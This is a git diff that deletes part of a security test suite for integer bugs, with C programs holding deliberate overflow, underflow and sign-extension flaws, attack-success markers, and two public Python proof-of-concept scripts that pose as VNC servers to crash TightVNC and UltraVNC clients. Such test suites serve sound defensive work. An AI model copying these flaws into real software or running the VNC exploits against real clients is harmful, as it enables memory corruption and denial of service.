-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_good.txt b/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_good.txt deleted file mode 100644 index 8ad86ce535d1132a133f3c593e73df0518993887..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/Example2_good.txt +++ /dev/null @@ -1,3 +0,0 @@ -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/Example_UVA_good.txt b/examples/integerbugs/C1_Number_Handling/CWE_190/Example_UVA_good.txt deleted file mode 100644 index 98fb6a686563963b8f7e552d747158adbc1c2bd6..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/Example_UVA_good.txt +++ /dev/null @@ -1,4 +0,0 @@ -1 -1 -1 -1 diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_190/Makefile deleted file mode 100644 index 05bb5bf7b563782f3d2ca6ab4464d08fc1e66ec3..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/Makefile +++ /dev/null @@ -1,81 +0,0 @@ -# DO NOT EDIT - This Makefile automatically generated -include ../../Makefile.options -include $(wildcard Makefile.options) - -all: runall - -test: - ../../../scripts/test.pl $(TESTFLAGS) . - -CWE_190_Example_1_bad.ncexe: CWE_190_Example_1_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_190_Example_1_bad.conf - -CWE_190_Example_1_bad: CWE_190_Example_1_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_190_Example_1_bad.ps_analyze.log - cp CWE_190_Example_1_bad.conf CWE_190_Example_1_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_190_Example_1_bad.conf - -CWE_190_Example_1_bad.run: CWE_190_Example_1_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_190_Example_1_bad.ncexe - -CWE_190_Example_2_bad.ncexe: CWE_190_Example_2_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_190_Example_2_bad.conf - -CWE_190_Example_2_bad: CWE_190_Example_2_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_190_Example_2_bad.ps_analyze.log - cp CWE_190_Example_2_bad.conf CWE_190_Example_2_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_190_Example_2_bad.conf - -CWE_190_Example_2_bad.run: CWE_190_Example_2_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_190_Example_2_bad.ncexe - -modular_bug_finding_example_1.ncexe: modular_bug_finding_example_1.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >modular_bug_finding_example_1.conf - -modular_bug_finding_example_1: modular_bug_finding_example_1.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee modular_bug_finding_example_1.ps_analyze.log - cp modular_bug_finding_example_1.conf modular_bug_finding_example_1.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> modular_bug_finding_example_1.conf - -modular_bug_finding_example_1.run: modular_bug_finding_example_1 - ../../../scripts/test.pl $(TESTFLAGS) modular_bug_finding_example_1.ncexe - -modular_bug_finding_example_2.ncexe: modular_bug_finding_example_2.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >modular_bug_finding_example_2.conf - -modular_bug_finding_example_2: modular_bug_finding_example_2.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee modular_bug_finding_example_2.ps_analyze.log - cp modular_bug_finding_example_2.conf modular_bug_finding_example_2.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> modular_bug_finding_example_2.conf - -modular_bug_finding_example_2.run: modular_bug_finding_example_2 - ../../../scripts/test.pl $(TESTFLAGS) modular_bug_finding_example_2.ncexe - -UVA_C1_and_C4.ncexe: UVA_C1_and_C4.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >UVA_C1_and_C4.conf - -UVA_C1_and_C4: UVA_C1_and_C4.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee UVA_C1_and_C4.ps_analyze.log - cp UVA_C1_and_C4.conf UVA_C1_and_C4.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> UVA_C1_and_C4.conf - -UVA_C1_and_C4.run: UVA_C1_and_C4 - ../../../scripts/test.pl $(TESTFLAGS) UVA_C1_and_C4.ncexe - -clean: - rm -f CWE_190_Example_1_bad.ncexe CWE_190_Example_2_bad.ncexe modular_bug_finding_example_1.ncexe modular_bug_finding_example_2.ncexe UVA_C1_and_C4.ncexe - rm -f CWE_190_Example_1_bad CWE_190_Example_2_bad modular_bug_finding_example_1 modular_bug_finding_example_2 UVA_C1_and_C4 - rm -f summary.csv logfail.txt logfile.txt CWE_190_Example_1_bad.asm CWE_190_Example_1_bad.idb CWE_190_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_190_Example_2_bad.asm CWE_190_Example_2_bad.idb CWE_190_Example_2_bad.ncexe* stratafier.o.exe *.conf modular_bug_finding_example_1.asm modular_bug_finding_example_1.idb modular_bug_finding_example_1.ncexe* stratafier.o.exe *.conf modular_bug_finding_example_2.asm modular_bug_finding_example_2.idb modular_bug_finding_example_2.ncexe* stratafier.o.exe *.conf UVA_C1_and_C4.asm UVA_C1_and_C4.idb UVA_C1_and_C4.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log - rm -rf peasoup_executable_directory* - -targets: CWE_190_Example_1_bad.ncexe CWE_190_Example_2_bad.ncexe modular_bug_finding_example_1.ncexe modular_bug_finding_example_2.ncexe UVA_C1_and_C4.ncexe - -analyze: targets CWE_190_Example_1_bad CWE_190_Example_2_bad modular_bug_finding_example_1 modular_bug_finding_example_2 UVA_C1_and_C4 - -runall: CWE_190_Example_1_bad.run CWE_190_Example_2_bad.run modular_bug_finding_example_1.run modular_bug_finding_example_2.run UVA_C1_and_C4.run - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c b/examples/integerbugs/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c deleted file mode 100644 index 36d45215826b2db6892f2286e2471a1eec330a58..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c +++ /dev/null @@ -1,46 +0,0 @@ -/*This code came from UVA it has both a integer wrap in the malloc -The scanf may index out of bounds? -It also has a resource drain due to the malloc? - -This routine is doing a malloc of a negative number, but -this gets typecasted to an unsigned, which gives you -a very large number. On some machines, this will still -succeed if there is enough memory. - DAH - -@GOOD_ARGS 4 <Example_UVA_good.txt -@BAD_ARGS -4 <Example_UVA_good.txt - @ATTACK_SUCCEEDED_CODE 139 -@ATTACK_SUCCEEDED_OUTPUT_CONTAINS malloc = 4294967280 - */ - -#include <stdlib.h> -#include <stdio.h> -#ifdef ASSERT - #include <assert.h> -#endif - -int main(int argc, char *argv[]) { - int cnt, idx, *elems; - - cnt = atoi(argv[1]); -printf(" malloc = %u\n",sizeof(int) * cnt); - elems = malloc(sizeof(int) * cnt); - -#ifdef ASSERT -assert( (sizeof(int) * cnt)>0 ); -#endif - - for(idx = 0; idx < cnt; ++idx) { - scanf("%d\n", elems + idx); - -#ifdef ASSERT -printf(" last address of mem alloced %x \n",&elems[cnt-1]); -printf(" address just written to %x \n",(elems + idx)); -assert(idx < (cnt-1)); -#endif - - } - - return 0; -} - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/bad.dat b/examples/integerbugs/C1_Number_Handling/CWE_190/bad.dat deleted file mode 100644 index 679eda838fadfd7020794f59987cfe487a8a93e5..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/bad.dat +++ /dev/null @@ -1 +0,0 @@ -0x40000000 0x40000000 diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/data.txt b/examples/integerbugs/C1_Number_Handling/CWE_190/data.txt deleted file mode 100644 index 32910bfa7364a529647f024fb72791525c976f56..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/data.txt +++ /dev/null @@ -1,7 +0,0 @@ -1010101010 -1010101010 -1010101010 -1010101010 -1010101010 -1010101010 -1010101010 diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c b/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c deleted file mode 100644 index a267478516fda3d3e92ecfc8658214089e5ffe52..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c +++ /dev/null @@ -1,65 +0,0 @@ -/* -"in the case of function binary_search applied to low and high both equal to -(0x40000000), the computation low + high will evaluate to INT_MIN instead of -(INT_MAX+1)/2." I'd like a test that reads the contents of a file into an array -and calls a faulty binary_search on the array. - -BJM -This code has more problems then the integer wrap. Val is going to get -set to some random data in memory depending on what values are passed in. - -@BAD_ARGS <bad.dat -@ATTACK_SUCCEEDED_OUTPUT_CONTAINS -1073741824 -*/ -#include <stdio.h> -#include <stdlib.h> - -int binary_search(int* arr, int low, int high, int key) -{ - printf("low = %i high = %i mid = %i \n",low,high,( (low + high) / 2)); - while (low <= high) - { - // Find middle value - int mid = (low + high) / 2; - int val = arr[mid]; - printf("value %i \n",val); - low++; - // Refine range - } -} -int main(void) -{ - int n1 = 0; - int n2 = 0; -int x = 0x40000000; - fscanf(stdin,"%x",&n1); - fscanf(stdin,"%x",&n2); - -printf("%d %d %d\n", n1, n2, x); - - FILE *f ; - if(f= fopen("data.txt", "rb")){ - - fseek(f, 0, SEEK_END); - long nbytes = ftell(f); - fseek(f, 0, SEEK_SET); - - printf("File size = %ld malloc\n",nbytes); - int *bytes = malloc(nbytes+1); - fread(bytes, 1,nbytes, f); - fclose(f); - - int i; - printf("File buffer dump\n"); - for(i = 0;i < nbytes;++i) - printf("%c", ((char *)bytes)[i]); - -// binary_search(bytes, 0x40000000, 0x40000000, 32); - binary_search(bytes, n1, n2, 32); - - free(bytes); // free allocated memory - }else{ - printf("file open failed \n"); - } -} - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c b/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c deleted file mode 100644 index 7ec5ab8e5c4403fdd63b0a52ff048247b12ff80c..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c +++ /dev/null @@ -1,66 +0,0 @@ -/* -there's another classic error in many implementations of itoa: -"applied to n equal to INT_MIN (0x80000000), the negation -n will evaluate to -INT_MIN instead of INT_MAX+1." Again, please give us an example with the buggy -itoa; in this case it can just call it on an integer passed on the command -line. (This example may have a lower priority; I'm not clear what CWE class it -belongs to, but "The case of itoa is compelling: the ?rst edition of The C -Programming Language in 1978 [34] contained the integer ove?ow problem just -mentioned; the problem was noted in the second edition in 1988 (and its -solution left in exercise), but many currently available implementations, such -as the one from project itoa on sourceforge.net, still suffer from the same -problem.") - -@BAD_ARGS -2147483648 -@ATTACK_SUCCEEDED_OUTPUT_NOT_CONTAINS -2147483648 - bjm for this string uncoment the printf("n should be + = %i\n",n); - ATTACK_SUCCEEDED_OUTPUT_CONTAINS n should be + = -2147483648 -*/ - -#include <stdio.h> -#include <stdlib.h> -#include <string.h> - -void my_reverse(char s[]) { - int c, i, j; - for ( i = 0, j = strlen(s)-1; i < j; i++, j--) { - c = s[i]; - s[i] = s[j]; - s[j] = c; - } -} - -void my_itoa(int n, char* buf) -{ -char *save =buf; - // Handle negative - if (n < 0) - { - *buf++ = '-'; - // printf("n = %i\n",n); - n = -n; - // printf("n should be + = %i\n",n); - // Output digits - do{ - *buf++ = (n % 10) + '0'; - }while (n /= 10); - *buf = '\0'; - *save++; - my_reverse(save); - }else { - // Output digits - do{ - *buf++ = (n % 10) + '0'; - }while (n /= 10); - *buf = '\0'; - my_reverse(save); - } -} -int main(int argc, char **argv) -{ - int n1 = atoi(argv[1]); - char num[20]; - my_itoa(n1, num); - printf("string = %s\n",num); - exit(0); -} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_191/CWE_191_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_191/CWE_191_Example_1_bad.c deleted file mode 100644 index 9d3108a3a9bb8d8cad3cab637aa2bbbefb0feaf1..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_191/CWE_191_Example_1_bad.c +++ /dev/null @@ -1,43 +0,0 @@ -/* -Integer Underflow (Wrap or Wraparound) - -Description Summary -The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result. - -Extended Description -This can happen in signed and unsigned cases. - -Example 1 -The following example has an integer underflow. The value of i is already at the lowest negative value possible. The new value of i is 2147483647. -(Bad Code)Example Language: C - -@GOOD_ARGS 50 -@BAD_ARGS -2147483648 -@NORMAL_OUTPUT_CONTAINS N = 49 -@ATTACK_SUCCEEDED_OUTPUT_CONTAINS N = 214 - -// bjm remove exit TTACK_SUCCEEDED_CODE 1 - -*/ - -#include <stdio.h> -#include <stdbool.h> -#include <stdlib.h> -#include <limits.h> -#ifdef ASSERT - #include <assert.h> -#endif - -main (int argc, char ** argv) -{ - if (argc < 2) exit(2); - int i = atoi(argv[1]); - - i = i - 1; -#ifdef ASSERT -assert(atoi(argv[1])>INT_MIN); -#endif - printf("N = %d\n", i); - exit(0); -} - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_191/CWE_191_Example_2_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_191/CWE_191_Example_2_bad.c deleted file mode 100644 index 21c6be8f52b2249d83471f28a52e49291a3c75f0..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_191/CWE_191_Example_2_bad.c +++ /dev/null @@ -1,43 +0,0 @@ -/* -Integer Underflow (Wrap or Wraparound) - -Description Summary -The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result. - -Extended Description -This can happen in signed and unsigned cases. - -Example 1 -The following example has an integer underflow. The value of i is already at the lowest negative value possible. The new value of i is 2147483647. -(Bad Code)Example Language: C - -@GOOD_ARGS 50 -@BAD_ARGS 0 -@NORMAL_OUTPUT_CONTAINS N = 49 -@ATTACK_SUCCEEDED_OUTPUT_CONTAINS N = 429 -// bjm removed for grace TTACK_SUCCEEDED_CODE 1 - -*/ - -#include <stdio.h> -#include <stdbool.h> -#include <stdlib.h> -#ifdef ASSERT - #include <assert.h> -#endif - -main (int argc, char **argv) -{ - if (argc < 2) exit(2); - unsigned int j = atoi(argv[1]); - j = j - 1; - -#ifdef ASSERT - assert(isdigit(argv[1][0])); - assert(atoi(argv[1])>0); -#endif - - printf("N = %u\n", j); - exit(0); -} - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx b/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx deleted file mode 100644 index c9fc7d95934eb13f7d50b2a0995d982d7b0eda19..0000000000000000000000000000000000000000 Binary files a/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx and /dev/null differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz.REMOVED.git-id deleted file mode 100644 index 173ae7be384ddc5aaa929db7cc7fdfbd9891db9a..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz.REMOVED.git-id +++ /dev/null @@ -1 +0,0 @@ -2f7250ff9c92fe4a218a59cd1ef0149264472811 \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c deleted file mode 100644 index f1e5ce96a44c02f9af176a59340340a14867afab..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c +++ /dev/null @@ -1,92 +0,0 @@ -/* -Unexpected Sign Extension - -Description Summary -The software performs an operation on a number that causes it to be sign extended -when it is transformed into a larger data type. When the original number is -negative, this can produce unexpected values that lead to resultant weaknesses. - - -Common Consequences -Scope -Integrity -Confidentiality -Availability - -Effect -When an unexpected sign extension occurs in code that operates directly on memory -buffers, such as a size value or a memory index, then it could cause the program -to write or read outside the boundaries of the intended buffer. If the numeric -value is associated with an application-level resource, such as a quantity or -price for a product in an e-commerce site, then the sign extension could produce -a value that is much higher (or lower) than the application's allowable range. - - -Example 1 - -The following code reads a maximum size and performs a sanity check on that size. -It then performs a strncpy, assuming it will not exceed the boundaries of the -array. While the use of "short s" is forced in this particular example, short -int's are frequently used within real-world code, such as code that processes -structured data. -(Bad Code)Example Language: C - - - Crashes on strncpy(?,?,-1) -@BAD_ARGS xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -@ATTACK_SUCCEEDED_CODE 139 - - */ - -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#ifdef ASSERT - #include <assert.h> -#endif - - -int GetUntrustedInt () { - return(0x0000FFFF); -} - - -void main (int argc, char **argv) { - char path[256]; - char *input; - int i; - short s; - unsigned int sz; - - - i = GetUntrustedInt(); - s = i; - /* s is -1 so it passes the safety check - CWE-697 */ -// BJM no assert we don't want to catch this or we -// will never get to the CVE we are looking at - if (s > 256) { - exit(3); - } - - /* s is sign-extended and saved in sz */ - sz = s; -//BJM CWE 194 sign-extended - - /* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */ - printf("i=%d, s=%d, sz=%u\n", i, s, sz); - - // input = GetUserInput("Enter pathname:"); - input = argv[1]; - - /* strncpy interprets s as unsigned int, so it's treated as MAX_INT - (CWE-195), enabling buffer overflow (CWE-119) */ -#ifdef ASSERT -//printf("s = %i sizeof input = %i\n",s,sizeof(input)); -assert(s>0); -assert(s <= sizeof(path)); -#endif - strncpy(path, input, s); - path[255] = '\0'; /* don't want CWE-170 */ - printf("Path is: %s\n", path); - exit(0); -} - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_194/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_194/Makefile deleted file mode 100644 index 9a308ee93216661871ac9c708dbf49d5a96549e7..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_194/Makefile +++ /dev/null @@ -1,33 +0,0 @@ -# DO NOT EDIT - This Makefile automatically generated -include ../../Makefile.options -include $(wildcard Makefile.options) - -all: runall - -test: - ../../../scripts/test.pl $(TESTFLAGS) . - -CWE_194_Example_1_bad.ncexe: CWE_194_Example_1_bad.c - $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) - @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_194_Example_1_bad.conf - -CWE_194_Example_1_bad: CWE_194_Example_1_bad.ncexe - sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_194_Example_1_bad.ps_analyze.log - cp CWE_194_Example_1_bad.conf CWE_194_Example_1_bad.ncexe.conf - @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_194_Example_1_bad.conf - -CWE_194_Example_1_bad.run: CWE_194_Example_1_bad - ../../../scripts/test.pl $(TESTFLAGS) CWE_194_Example_1_bad.ncexe - -clean: - rm -f CWE_194_Example_1_bad.ncexe - rm -f CWE_194_Example_1_bad - rm -f summary.csv logfail.txt logfile.txt CWE_194_Example_1_bad.asm CWE_194_Example_1_bad.idb CWE_194_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log - rm -rf peasoup_executable_directory* - -targets: CWE_194_Example_1_bad.ncexe - -analyze: targets CWE_194_Example_1_bad - -runall: CWE_194_Example_1_bad.run - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py deleted file mode 100644 index 77d2e0ba5115a3378d166f22169b0be0aea626a1..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py +++ /dev/null @@ -1,54 +0,0 @@ -#!/usr/bin/env python - -#digital.desi@in.com - -# Modified Andres Lopez Luksenberg's exploit for Authentication Failure scenario in TightVNC. BID 33569 CVE-2009-0388 - -import socket - -serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -serversocket.bind(('', 5900)) -serversocket.listen(1) - -while True: - clientsocket, clientaddres = serversocket.accept() - - data = 'RFB 003.008\n' - clientsocket.sendall(data) - - data_cli = clientsocket.recv(1024) - print data_cli - - data = '\x02\x02\x10' - clientsocket.sendall(data) - - data_cli = clientsocket.recv(1024) - - data = '\x00'*4 - clientsocket.sendall(data) - - data = ('\x00'*3)+'\x01' - clientsocket.sendall(data) - - data = ('\x00'*3)+'\x02STDVVNCAUTH_' - clientsocket.sendall(data) - - data_cli = clientsocket.recv(1024) - - data = ('\x01'*16) - clientsocket.sendall(data) - - data_cli = clientsocket.recv(1024) - - data = '\x00\x00\x00\x01' - clientsocket.sendall(data) - - data = '\xf0\xff\xff\xff' - clientsocket.sendall(data) - - data = 'A'*10000 - clientsocket.sendall(data) - -clientsocket.close() -serversocket.close() - diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py deleted file mode 100644 index 5b2d70a33cf9bbf46ef1aa1f47440ed026b0d273..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/env python -# POC: Multiple VNC Clients Multiple Integer Overflow Vulnerabilities(UltraVNC and TightVNC), BID 33568 -#Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/) -# -import socket - -serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -serversocket.bind(('', 5900)) -serversocket.listen(1) - -while True: - print "Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/)" - - clientsocket, clientaddres = serversocket.accept() - - data = 'RFB 003.003\n' - clientsocket.sendall(data) - - data_cli = clientsocket.recv(1024) - print data_cli - - data = '\x00' - clientsocket.sendall(data) - - data = '\x00\x00\x00\x75' - clientsocket.sendall(data) - data = '\x00' * int(0xffffff) - - clientsocket.sendall(data) - -clientsocket.close() -serversocket.close() \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx deleted file mode 100644 index a16861d2c3d22e5b92c1341f49c8a18b7c1bf679..0000000000000000000000000000000000000000 Binary files a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx and /dev/null differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip.REMOVED.git-id deleted file mode 100644 index f8222876021561f017ea1232cdb004a31435325f..0000000000000000000000000000000000000000 --- a/examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip.REMOVED.git-id +++ /dev/null @@ -1 +0,0 @@ -2d642d258c45300adb1f9b26f44d926b6b1574ea \ No 